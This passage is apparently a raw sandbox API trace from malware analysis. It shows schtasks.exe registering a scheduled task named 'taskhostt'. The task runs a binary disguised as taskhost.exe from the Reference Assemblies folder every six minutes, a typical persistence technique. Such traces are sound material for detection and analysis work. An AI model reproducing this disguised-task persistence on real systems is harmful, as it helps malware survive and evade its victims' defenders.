(dwErrCode=0x490) [0142.479] lstrlenW (lpString="st") returned 2 [0142.479] lstrlenW (lpString="st") returned 2 [0142.479] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.479] lstrlenW (lpString="f") returned 1 [0142.479] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.479] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|st|") returned 4 [0142.479] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.479] lstrlenW (lpString="|st|") returned 4 [0142.479] lstrlenW (lpString="|f|") returned 3 [0142.479] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0142.479] SetLastError (dwErrCode=0x490) [0142.479] lstrlenW (lpString="sd") returned 2 [0142.479] lstrlenW (lpString="sd") returned 2 [0142.479] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.479] lstrlenW (lpString="f") returned 1 [0142.479] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.479] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|sd|") returned 4 [0142.479] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.479] lstrlenW (lpString="|sd|") returned 4 [0142.479] lstrlenW (lpString="|f|") returned 3 [0142.479] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0142.479] SetLastError (dwErrCode=0x490) [0142.479] lstrlenW (lpString="ed") returned 2 [0142.479] lstrlenW (lpString="ed") returned 2 [0142.479] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.480] lstrlenW (lpString="f") returned 1 [0142.480] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.480] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|ed|") returned 4 [0142.480] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.480] lstrlenW (lpString="|ed|") returned 4 [0142.480] lstrlenW (lpString="|f|") returned 3 [0142.480] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0142.480] SetLastError (dwErrCode=0x490) [0142.480] lstrlenW (lpString="it") returned 2 [0142.480] lstrlenW (lpString="it") returned 2 [0142.480] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.480] lstrlenW (lpString="f") returned 1 [0142.480] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.480] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|it|") returned 4 [0142.480] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.480] lstrlenW (lpString="|it|") returned 4 [0142.480] lstrlenW (lpString="|f|") returned 3 [0142.480] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0142.480] SetLastError (dwErrCode=0x490) [0142.480] lstrlenW (lpString="et") returned 2 [0142.480] lstrlenW (lpString="et") returned 2 [0142.480] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.480] lstrlenW (lpString="f") returned 1 [0142.480] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.481] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|et|") returned 4 [0142.481] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.481] lstrlenW (lpString="|et|") returned 4 [0142.481] lstrlenW (lpString="|f|") returned 3 [0142.481] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0142.481] SetLastError (dwErrCode=0x490) [0142.481] lstrlenW (lpString="k") returned 1 [0142.481] lstrlenW (lpString="k") returned 1 [0142.481] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.481] lstrlenW (lpString="f") returned 1 [0142.481] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.481] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|k|") returned 3 [0142.481] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.481] lstrlenW (lpString="|k|") returned 3 [0142.481] lstrlenW (lpString="|f|") returned 3 [0142.481] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0142.481] SetLastError (dwErrCode=0x490) [0142.481] lstrlenW (lpString="du") returned 2 [0142.481] lstrlenW (lpString="du") returned 2 [0142.481] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.481] lstrlenW (lpString="f") returned 1 [0142.481] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.481] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|du|") returned 4 [0142.481] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.481] lstrlenW (lpString="|du|") returned 4 [0142.481] lstrlenW (lpString="|f|") returned 3 [0142.481] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0142.481] SetLastError (dwErrCode=0x490) [0142.482] lstrlenW (lpString="ri") returned 2 [0142.482] lstrlenW (lpString="ri") returned 2 [0142.482] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.482] lstrlenW (lpString="f") returned 1 [0142.482] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.482] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|ri|") returned 4 [0142.482] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.482] lstrlenW (lpString="|ri|") returned 4 [0142.482] lstrlenW (lpString="|f|") returned 3 [0142.482] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0142.482] SetLastError (dwErrCode=0x490) [0142.482] lstrlenW (lpString="z") returned 1 [0142.482] lstrlenW (lpString="z") returned 1 [0142.482] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.482] lstrlenW (lpString="f") returned 1 [0142.482] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.482] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|z|") returned 3 [0142.482] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.482] lstrlenW (lpString="|z|") returned 3 [0142.482] lstrlenW (lpString="|f|") returned 3 [0142.482] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0142.482] SetLastError (dwErrCode=0x490) [0142.482] lstrlenW (lpString="f") returned 1 [0142.482] lstrlenW (lpString="f") returned 1 [0142.482] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.482] lstrlenW (lpString="f") returned 1 [0142.492] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.492] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.492] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.492] lstrlenW (lpString="|f|") returned 3 [0142.492] lstrlenW (lpString="|f|") returned 3 [0142.492] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0142.492] SetLastError (dwErrCode=0x0) [0142.493] SetLastError (dwErrCode=0x0) [0142.493] GetProcessHeap () returned 0x420000 [0142.493] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43ccf0 [0142.493] _memicmp (_Buf1=0x43ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.493] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x43d280, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0142.493] lstrlenW (lpString="MINUTE") returned 6 [0142.493] GetProcessHeap () returned 0x420000 [0142.493] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0xe) returned 0x43d580 [0142.493] GetThreadLocale () returned 0x409 [0142.493] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0142.493] SetLastError (dwErrCode=0x0) [0142.493] GetProcessHeap () returned 0x420000 [0142.493] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x1fc) returned 0x43c250 [0142.493] GetProcessHeap () returned 0x420000 [0142.493] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43ccc0 [0142.493] _memicmp (_Buf1=0x43ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.493] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x43d280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0142.493] lstrlenW (lpString="First") returned 5 [0142.493] GetProcessHeap () returned 0x420000 [0142.493] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0xc) returned 0x43d5a0 [0142.493] GetProcessHeap () returned 0x420000 [0142.493] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cc90 [0142.493] _memicmp (_Buf1=0x43ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.493] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x43d280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0142.494] lstrlenW (lpString="Second") returned 6 [0142.494] GetProcessHeap () returned 0x420000 [0142.494] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0xe) returned 0x43d5c0 [0142.494] GetProcessHeap () returned 0x420000 [0142.494] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cc60 [0142.494] _memicmp (_Buf1=0x43ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.494] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x43d280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0142.494] lstrlenW (lpString="Third") returned 5 [0142.494] GetProcessHeap () returned 0x420000 [0142.494] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0xc) returned 0x43d5e0 [0142.494] GetProcessHeap () returned 0x420000 [0142.494] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cc30 [0142.494] _memicmp (_Buf1=0x43ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.494] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x43d280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0142.494] lstrlenW (lpString="Fourth") returned 6 [0142.494] GetProcessHeap () returned 0x420000 [0142.494] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0xe) returned 0x43d600 [0142.494] GetProcessHeap () returned 0x420000 [0142.494] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cc00 [0142.494] _memicmp (_Buf1=0x43ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.494] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x43d280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0142.494] lstrlenW (lpString="Last") returned 4 [0142.494] GetProcessHeap () returned 0x420000 [0142.494] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0xa) returned 0x43d620 [0142.494] lstrlenW (lpString="6") returned 1 [0142.494] _wtol (_String="6") returned 6 [0142.494] GetProcessHeap () returned 0x420000 [0142.495] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cbd0 [0142.495] _memicmp (_Buf1=0x43ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.495] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x43d280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0142.495] lstrlenW (lpString="First") returned 5 [0142.495] GetProcessHeap () returned 0x420000 [0142.495] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0xc) returned 0x43d640 [0142.495] _memicmp (_Buf1=0x43ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.495] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x43d280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0142.495] lstrlenW (lpString="Second") returned 6 [0142.495] GetProcessHeap () returned 0x420000 [0142.495] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0xe) returned 0x43d660 [0142.495] _memicmp (_Buf1=0x43ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.495] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x43d280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0142.495] lstrlenW (lpString="Third") returned 5 [0142.495] _memicmp (_Buf1=0x43ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.495] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x43d280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0142.495] lstrlenW (lpString="Fourth") returned 6 [0142.495] _memicmp (_Buf1=0x43ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.495] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x43d280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0142.495] lstrlenW (lpString="Last") returned 4 [0142.495] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x29c5a0, cchData=128 | out: lpLCData="0") returned 2 [0142.495] _memicmp (_Buf1=0x43ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.495] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x43d280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0142.495] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0142.496] GetProcessHeap () returned 0x420000 [0142.496] GetProcessHeap () returned 0x420000 [0142.496] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d5a0) returned 1 [0142.496] GetProcessHeap () returned 0x420000 [0142.496] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d5a0) returned 0xc [0142.496] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d5a0 | out: hHeap=0x420000) returned 1 [0142.496] GetProcessHeap () returned 0x420000 [0142.499] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x16) returned 0x43d5a0 [0142.499] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x29c5c0, cchData=128 | out: lpLCData="0") returned 2 [0142.499] _memicmp (_Buf1=0x43ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.499] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x43d280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0142.499] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0142.500] GetProcessHeap () returned 0x420000 [0142.500] GetProcessHeap () returned 0x420000 [0142.500] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d5c0) returned 1 [0142.500] GetProcessHeap () returned 0x420000 [0142.500] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d5c0) returned 0xe [0142.500] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d5c0 | out: hHeap=0x420000) returned 1 [0142.500] GetProcessHeap () returned 0x420000 [0142.500] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x16) returned 0x43d5c0 [0142.500] GetLocalTime (in: lpSystemTime=0x29c7f0 | out: lpSystemTime=0x29c7f0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x5, wMilliseconds=0x247)) [0142.500] lstrlenW (lpString="") returned 0 [0142.500] GetLocalTime (in: lpSystemTime=0x29d0a8 | out: lpSystemTime=0x29d0a8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x5, wMilliseconds=0x247)) [0142.500] lstrlenW (lpString="") returned 0 [0142.500] lstrlenW (lpString="") returned 0 [0142.500] lstrlenW (lpString="") returned 0 [0142.500] lstrlenW (lpString="") returned 0 [0142.500] lstrlenW (lpString="6") returned 1 [0142.500] _wtol (_String="6") returned 6 [0142.500] lstrlenW (lpString="") returned 0 [0142.500] lstrlenW (lpString="") returned 0 [0142.500] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0142.683] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0142.771] CoCreateInstance (in: rclsid=0xfff91ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xfff91ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x29ce70 | out: ppv=0x29ce70*=0xe7a50) returned 0x0 [0142.780] TaskScheduler:ITaskService:Connect (This=0xe7a50, serverName=0x29cf50*(varType=0x8, wReserved1=0x29, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x29cf10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x29cf30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x29cef0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0142.807] TaskScheduler:IUnknown:AddRef (This=0xe7a50) returned 0x2 [0142.807] TaskScheduler:ITaskService:GetFolder (in: This=0xe7a50, Path=0x0, ppFolder=0x29d008 | out: ppFolder=0x29d008*=0xe7c80) returned 0x0 [0142.811] TaskScheduler:ITaskService:NewTask (in: This=0xe7a50, flags=0x0, ppDefinition=0x29d000 | out: ppDefinition=0x29d000*=0xe7cd0) returned 0x0 [0142.811] ITaskDefinition:get_Actions (in: This=0xe7cd0, ppActions=0x29cf80 | out: ppActions=0x29cf80*=0xe7d90) returned 0x0 [0142.811] IActionCollection:Create (in: This=0xe7d90, Type=0, ppAction=0x29cfa0 | out: ppAction=0x29cfa0*=0xe6110) returned 0x0 [0142.811] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.811] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.811] lstrlenW (lpString=" ") returned 1 [0142.811] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0142.811] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0142.811] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0142.812] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0142.812] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0142.812] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0142.813] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0142.813] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0142.813] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0142.813] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0142.813] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0142.813] StrChrW (lpStart=" ", wMatch=0x6b) returned 0x0 [0142.813] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0142.813] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0142.813] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0142.813] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0142.813] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0142.813] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0142.813] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0142.813] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0142.813] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0142.813] IUnknown:Release (This=0xe6110) returned 0x1 [0142.813] IUnknown:Release (This=0xe7d90) returned 0x1 [0142.813] ITaskDefinition:get_Triggers (in: This=0xe7cd0, ppTriggers=0x29cb00 | out: ppTriggers=0x29cb00*=0xe7ed0) returned 0x0 [0142.813] ITriggerCollection:Create (in: This=0xe7ed0, Type=1, ppTrigger=0x29caf8 | out: ppTrigger=0x29caf8*=0xe6180) returned 0x0 [0142.813] lstrlenW (lpString="6") returned 1 [0142.813] _vsnwprintf (in: _Buffer=0x29ca80, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x29ca78 | out: _Buffer="PT6M") returned 4 [0142.814] ITrigger:get_Repetition (in: This=0xe6180, ppRepeat=0x29caf0 | out: ppRepeat=0x29caf0*=0xe6210) returned 0x0 [0142.814] IRepetitionPattern:put_Interval (This=0xe6210, Interval="PT6M") returned 0x0 [0142.814] IUnknown:Release (This=0xe6210) returned 0x1 [0142.814] _vsnwprintf (in: _Buffer=0x29ca40, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x29ca18 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0142.814] ITrigger:put_StartBoundary (This=0xe6180, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0142.814] lstrlenW (lpString="") returned 0 [0142.814] lstrlenW (lpString="") returned 0 [0142.814] lstrlenW (lpString="") returned 0 [0142.814] lstrlenW (lpString="") returned 0 [0142.814] IUnknown:Release (This=0xe6180) returned 0x1 [0142.814] IUnknown:Release (This=0xe7ed0) returned 0x1 [0142.814] ITaskDefinition:get_Settings (in: This=0xe7cd0, ppSettings=0x29cfa0 | out: ppSettings=0x29cfa0*=0xe5f50) returned 0x0 [0142.815] lstrlenW (lpString="") returned 0 [0142.815] IUnknown:Release (This=0xe5f50) returned 0x1 [0142.815] GetLocalTime (in: lpSystemTime=0x29ce58 | out: lpSystemTime=0x29ce58*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x5, wMilliseconds=0x331)) [0142.815] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0142.815] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0142.815] GetUserNameW (in: lpBuffer=0x29ce80, pcbBuffer=0x29ce68 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x29ce68) returned 1 [0142.815] ITaskDefinition:get_RegistrationInfo (in: This=0xe7cd0, ppRegistrationInfo=0x29ce50 | out: ppRegistrationInfo=0x29ce50*=0xe7e10) returned 0x0 [0142.816] IRegistrationInfo:put_Author (This=0xe7e10, Author="") returned 0x0 [0142.816] _vsnwprintf (in: _Buffer=0x29ce80, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x29ce18 | out: _Buffer="2022-08-06T02:19:05") returned 19 [0142.816] IRegistrationInfo:put_Date (This=0xe7e10, Date="") returned 0x0 [0142.816] IUnknown:Release (This=0xe7e10) returned 0x1 [0142.816] malloc (_Size=0x18) returned 0xe7c10 [0142.816] free (_Block=0xe7c10) [0142.816] lstrlenW (lpString="") returned 0 [0142.816] malloc (_Size=0x18) returned 0xe7c10 [0142.816] ITaskFolder:RegisterTaskDefinition (in: This=0xe7c80, Path="taskhostt", pDefinition=0xe7cd0, flags=6, UserId=0x29d0f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x29d130*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x29f000, varVal2=0xfe), LogonType=3, sddl=0x29d110*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x29d010 | out: ppTask=0x29d010*=0xe63d0) returned 0x0 [0143.017] free (_Block=0xe7c10) [0143.017] _memicmp (_Buf1=0x43ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.018] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x43d280, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0143.018] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0143.018] GetProcessHeap () returned 0x420000 [0143.018] GetProcessHeap () returned 0x420000 [0143.018] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d5e0) returned 1 [0143.018] GetProcessHeap () returned 0x420000 [0143.018] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d5e0) returned 0xc [0143.018] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d5e0 | out: hHeap=0x420000) returned 1 [0143.018] GetProcessHeap () returned 0x420000 [0143.018] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x82) returned 0x459b30 [0143.018] _vsnwprintf 